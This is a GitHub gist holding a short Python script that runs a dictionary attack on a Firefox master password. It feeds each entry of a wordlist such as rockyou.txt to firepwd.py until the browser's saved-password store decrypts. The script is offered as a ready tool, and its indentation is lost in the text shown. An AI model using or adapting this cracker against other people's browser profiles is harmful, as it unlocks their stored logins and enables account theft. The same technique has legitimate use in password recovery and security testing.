Skip to content

Instantly share code, notes, and snippets.

@fb11
Created November 13, 2018 11:08
Show Gist options
  • Select an option

  • Save fb11/49f7235a992a231c9b410de8d2f8b52e to your computer and use it in GitHub Desktop.

Select an option

Save fb11/49f7235a992a231c9b410de8d2f8b52e to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import sys
from subprocess import Popen, PIPE
#Usage python masterkey.py rockyou.txt
f = open(sys.argv[1], 'r')
for line in f:
password = line.strip()
p = Popen(['./firepwd.py','-p',password,'-d','./'], stdout=PIPE)
output = p.stdout.read()
if output.find('decrypting') != -1 :
print "[+] master Password: " + password
sys.exit(0)
print "[-] Failed with Master password: " + password
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment